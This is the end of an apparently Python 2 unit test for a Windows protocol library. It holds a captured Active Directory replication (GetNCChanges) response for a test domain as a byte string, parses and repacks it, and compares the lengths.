\x00\x00\x00*\x02\x00\x00\x05\n,\x00\x94\x00\x02\x00\x02\x00\x00\x00\x14\xcc(H7\x14\xbcE\x9b\x07\xado\x01^_(\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\x00,\x00\x10\x00\x00\x00\x01\x00\x00\x00\xd0\x9f\x11\xb8\xf6\x04bG\xabzI\x86\xc7k?\x9a\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00*\x02\x00\x00\x05\x00(\x00\x10\x00\x00\x00\x01\x00\x00\x00\xd0\x9f\x11\xb8\xf6\x04bG\xabzI\x86\xc7k?\x9a\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\n8\x00\x10\x00\x00\x00\x03\x00\x00\x00m\x9e\xc6\xb7\xc7,\xd2\x11\x85N\x00\xa0\xc9\x83\xf6\x08\xbaz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\n8\x00\x10\x00\x00\x00\x03\x00\x00\x00m\x9e\xc6\xb7\xc7,\xd2\x11\x85N\x00\xa0\xc9\x83\xf6\x08\x9cz\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\n8\x00\x10\x00\x00\x00\x03\x00\x00\x00m\x9e\xc6\xb7\xc7,\xd2\x11\x85N\x00\xa0\xc9\x83\xf6\x08\x86z\x96\xbf\xe6\r\xd0\x11\xa2\x85\x00\xaa\x000I\xe2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x008\x00\x00\x01\x00\x00\x01\x00\x00\x00\xad\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x04\x02\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00v[\xe9\x89MDbL\x99\x1a\x0f\xac\xbe\xdad\x0c\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xad\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00v[\xe9\x89MDbL\x99\x1a\x0f\xac\xbe\xdad\x0c\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xc9m\xa3\xe2\x17\xae\xc3G\xb5\x8b\xbe4\xc5[\xa63\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00-\x02\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\x9c6\x0f(\xc7g\x8eC\xae\x98\x1dF\xf3\xc6\xf5A\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00}\xdc\xc2\xcc\xad\xa6zJ\x88F\xc0N<\xc55\x01\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00^L\xc7\x05\xebM\xb4C\xbd\x9f\x86fL*\x7f\xd5\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x05\x00(\x00\x00\x01\x00\x00\x01\x00\x00\x00\xae\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x01\x00\x00\x00\x00\x00\x05\t\x00\x00\x00\x05\x00,\x00\x00\x01\x00\x00\x01\x00\x00\x00\xae\xf61\x11\x07\x9c\xd1\x11\xf7\x9f\x00\xc0O\xc2\xdc\xd2\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x05\n(\x000\x01\x00\x00\x01\x00\x00\x00\xdeG\xe6\x91o\xd9pK\x95W\xd6?\xf4\xf3\xcc\xd8\x01\x01\x00\x00\x00\x00\x00\x05\n\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x01\x00\x00\x00\x0e\x00\x00\x00\xe4\x00\x02\x00\x0e\x00\x00\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\xec\x00\x02\x00\x08\x00\x00\x00\xe4\xb6\x96\\G\xd1\xd0\x01\x01\x00\x00\x00\x08\x00\x00\x00\xf4\x00\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x08\x00\x00\x00\xfc\x00\x02\x00\x08\x00\x00\x00\x00\xcc\x1d\xcf\xfb\xff\xff\xff\x01\x00\x00\x00\x08\x00\x00\x00\x04\x01\x02\x00\x08\x00\x00\x00\x00\xcc\x1d\xcf\xfb\xff\xff\xff\x01\x00\x00\x00\x04\x00\x00\x00\x0c\x01\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x14\x01\x02\x00\x08\x00\x00\x00\x00\x80\xa6\n\xff\xde\xff\xff\x01\x00\x00\x00\x08\x00\x00\x00\x1c\x01\x02\x00\x08\x00\x00\x00\x00@\x96\xd56\xff\xff\xff\x01\x00\x00\x00\x04\x00\x00\x00$\x01\x02\x00\x04\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00,\x01\x02\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x004\x01\x02\x00\x04\x00\x00\x00\xe8\x03\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00<\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00D\x01\x02\x00\x04\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00L\x01\x02\x00\x18\x00\x00\x00\x01\x04\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\x98\xb7\xba\xeb^\xc4g\x7fy2s\xab\x01\x00\x00\x00\x04\x00\x00\x00T\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\\\x01\x02\x00\x02\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00d\x01\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00l\x01\x02\x00\x90\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\x15C\x8a\xe3y\xe7FO\x96\xb1\xbb\x89\xe8(\xc2\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00C\x00N\x00=\x00R\x00I\x00D\x00 \x00M\x00a\x00n\x00a\x00g\x00e\x00r\x00$\x00,\x00C\x00N\x00=\x00S\x00y\x00s\x00t\x00e\x00m\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x01\x00\x00\x00\x1a\x01\x00\x00t\x01\x02\x00\x1a\x01\x00\x00\x1a\x01\x00\x00\x00\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00,\x00C\x00N\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00-\x00D\x00C\x00,\x00C\x00N\x00=\x00S\x00e\x00r\x00v\x00e\x00r\x00s\x00,\x00C\x00N\x00=\x00D\x00e\x00f\x00a\x00u\x00l\x00t\x00-\x00F\x00i\x00r\x00s\x00t\x00-\x00S\x00i\x00t\x00e\x00-\x00N\x00a\x00m\x00e\x00,\x00C\x00N\x00=\x00S\x00i\x00t\x00e\x00s\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00|\x01\x02\x00\x04\x00\x00\x00\x00\x00\x00\x8c\x0b\x00\x00\x00\x84\x00\x00\x00\x84\x01\x02\x00\x8c\x00\x00\x00\x88\x01\x02\x00\x9c\x00\x00\x00\x8c\x01\x02\x00\x84\x00\x00\x00\x90\x01\x02\x00\x90\x00\x00\x00\x94\x01\x02\x00\x94\x00\x00\x00\x98\x01\x02\x00\x98\x00\x00\x00\x9c\x01\x02\x00\xac\x00\x00\x00\xa0\x01\x02\x00\x90\x00\x00\x00\xa4\x01\x02\x00\xac\x00\x00\x00\xa8\x01\x02\x00\x90\x00\x00\x00\xac\x01\x02\x00\x84\x00\x00\x00n\x00\x00\x00\x00\x00\x00\x00i=*\xed\x02\x83\xe1K\x92\x8aO\x0c<}D0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00C\x00N\x00=\x00U\x00s\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\xa9\xd1\xca\x15v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x8c\x00\x00\x00v\x00\x00\x00\x00\x00\x00\x00>\x9fS\x1c\xff\x18\xd9K\xad\xe2\xb9\xf9\xbcwJ\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00C\x00N\x00=\x00C\x00o\x00m\x00p\x00u\x00t\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\xaa1(%v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x9c\x00\x00\x00\x88\x00\x00\x00\x00\x00\x00\x00\x95\xdf\xc9\xb8\x8f\x95\x17L\x9f\xa1\r\x95\xaf\xd5\xc1\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'\x00\x00\x00O\x00U\x00=\x00D\x00o\x00m\x00a\x00i\x00n\x00 \x00C\x00o\x00n\x00t\x00r\x00o\x00l\x00l\x00e\x00r\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\xa3a\xb2\xff\xff\xd2\x11\xd1\xaaK\x00\xc0O\xd7\xd8:\x84\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\xc7N\xe4\xc2\xd96EG\x81|[\xf5\xbcx\x0e\xef\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00C\x00N\x00=\x00S\x00y\x00s\x00t\x00e\x00m\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\xab\x1d0\xf3v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x90\x00\x00\x00|\x00\x00\x00\x00\x00\x00\x00\xfb3]!\xb3C\x19H\x84(\xf5rD\x80)\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00C\x00N\x00=\x00L\x00o\x00s\x00t\x00A\x00n\x00d\x00F\x00o\x00u\x00n\x00d\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\xab\x81S\xb7v\x88\x11\xd1\xad\xed\x00\xc0O\xd8\xd5\xcd\x94\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\xa9\x11n\xec\xab\xd4YO\xa9?\x14\xdb@(KE\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#\x00\x00\x00C\x00N\x00=\x00I\x00n\x00f\x00r\x00a\x00s\x00t\x00r\x00u\x00c\x00t\x00u\x00r\x00e\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00/\xba\xc1\x87\n\xde\x11\xd2\x97\xc4\x00\xc0O\xd8\xd5\xcd\x98\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00y]\xf0\x0b\xf6\xd0\xcbO\xa6&*\xeb\xf5\xb3L\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x00\x00C\x00N\x00=\x00D\x00e\x00l\x00e\x00t\x00e\x00d\x00 \x00O\x00b\x00j\x00e\x00c\x00t\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\x18\xe2\xea\x80hO\x11\xd2\xb9\xaa\x00\xc0Oy\xf8\x05\xac\x00\x00\x00\x96\x00\x00\x00\x00\x00\x00\x00\x91\xf3\'v\x92\xeeWF\xa7=\x00\x06\'\xcf\xd9D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00C\x00N\x00=\x00F\x00o\x00r\x00e\x00i\x00g\x00n\x00S\x00e\x00c\x00u\x00r\x00i\x00t\x00y\x00P\x00r\x00i\x00n\x00c\x00i\x00p\x00a\x00l\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00"\xb7\x0cg\xd5nN\xfb\x91\xe90\x0f\xca=\xc1\xaa\x90\x00\x00\x00|\x00\x00\x00\x00\x00\x00\x00!\xbd\xd0\xe0=\x8d\xcfF\xb9\x95[_\x11+\xaf\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00C\x00N\x00=\x00P\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00D\x00a\x00t\x00a\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\tF\x0c\x08\xae\x1eJN\xa0\xf6J\xee}\xaa\x1eZ\xac\x00\x00\x00\x96\x00\x00\x00\x00\x00\x00\x00B\x99\x1cL\x1e\xddFD\x94\xe5\xe3\x95"K\x87{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00C\x00N\x00=\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00,\x00C\x00N\x00=\x00P\x00r\x00o\x00g\x00r\x00a\x00m\x00 \x00D\x00a\x00t\x00a\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00\xf4\xbe\x92\xa4\xc7wH^\x87\x8e\x94!\xd50\x87\xdb\x90\x00\x00\x00z\x00\x00\x00\x00\x00\x00\x00\x92*v]O\xa8\xdbC\x92\x07\x84\x80\xb2D\x1bM\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00C\x00N\x00=\x00N\x00T\x00D\x00S\x00 \x00Q\x00u\x00o\x00t\x00a\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x14\x00\x00\x00b\'\xf0\xaf\x1f\xc2A\r\x8e;\xb1\x06\x15\xbb[\x0f\x01\x00\x00\x00\xae\x00\x00\x00\xb4\x01\x02\x00\xae\x00\x00\x00\xae\x00\x00\x00\x00\x00\x00\x00\xc9\xd9\xa8\x16!\xa7\xddM\x8b\x1f\xdew\xe0\xe3\xb4\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00C\x00N\x00=\x00D\x00o\x00m\x00a\x00i\x00n\x00-\x00D\x00N\x00S\x00,\x00C\x00N\x00=\x00S\x00c\x00h\x00e\x00m\x00a\x00,\x00C\x00N\x00=\x00C\x00o\x00n\x00f\x00i\x00g\x00u\x00r\x00a\x00t\x00i\x00o\x00n\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xbc\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\xb8\x00\x00\x00\xc4\x01\x02\x00\xb8\x00\x00\x00[\x00L\x00D\x00A\x00P\x00:\x00/\x00/\x00C\x00N\x00=\x00{\x003\x001\x00B\x002\x00F\x003\x004\x000\x00-\x000\x001\x006\x00D\x00-\x001\x001\x00D\x002\x00-\x009\x004\x005\x00F\x00-\x000\x000\x00C\x000\x004\x00F\x00B\x009\x008\x004\x00F\x009\x00}\x00,\x00C\x00N\x00=\x00P\x00o\x00l\x00i\x00c\x00i\x00e\x00s\x00,\x00C\x00N\x00=\x00S\x00y\x00s\x00t\x00e\x00m\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00;\x000\x00]\x00\x01\x00\x00\x00\xa8\x00\x00\x00\xcc\x01\x02\x00\xa8\x00\x00\x00\x94\x00\x00\x00\x00\x00\x00\x001\xdf\xae\x8c\xc3\xe2HG\x95:\x13\xdfB\x03\xaf\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-\x00\x00\x00C\x00N\x00=\x00M\x00a\x00n\x00a\x00g\x00e\x00d\x00 \x00S\x00e\x00r\x00v\x00i\x00c\x00e\x00 \x00A\x00c\x00c\x00o\x00u\x00n\x00t\x00s\x00,\x00D\x00C\x00=\x00F\x00R\x00E\x00E\x00F\x00L\x00Y\x00,\x00D\x00C\x00=\x00N\x00E\x00T\x00\x00\x00\x14\x00\x00\x00\x1e\xb98\x89\xe4\x0cE\xdf\x9f\x0cd\xd2;\xbbb7\x01\x00\x00\x00\x04\x00\x00\x00\xd4\x01\x02\x00\x04\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xdc\x01\x02\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xe4\x01\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xec\x01\x02\x00\x04\x00\x00\x00\xe8\x03\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\xf4\x01\x02\x00\x04\x00\x00\x00\n\x00\x00\x00%\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00.!a\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xdd@\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x12\x98\xd5\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x08\x00\x01\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00y\xfe\xe2\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x82-\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\xdf\x00\x00\x00\x00\x00\x00\x00\xb4]\xe3\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xbc-\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x007\x1bV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xf30\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x007\x1bV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xf30\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x007\x1bV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\xf30\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x04\x10\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00y\xfe\xe2\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x84-\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xdc\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03 \x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00y\xfe\xe2\x0b\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x86-\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x006\x1aV\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x9d0\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd2\x19V\x08\x03\x00\x00\x00\xd7\xba[\xe8#\t\xcbA\x91\x1e6\x91\xd2\x01H\x15\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
ncChanges = DRSGetNCChangesResponse()
ncChanges.fromString(getNCChangesResponse)
output = ncChanges.getData()
print "ORIG: %d, REPACKED: %d" % (len(getNCChangesResponse), len(output))
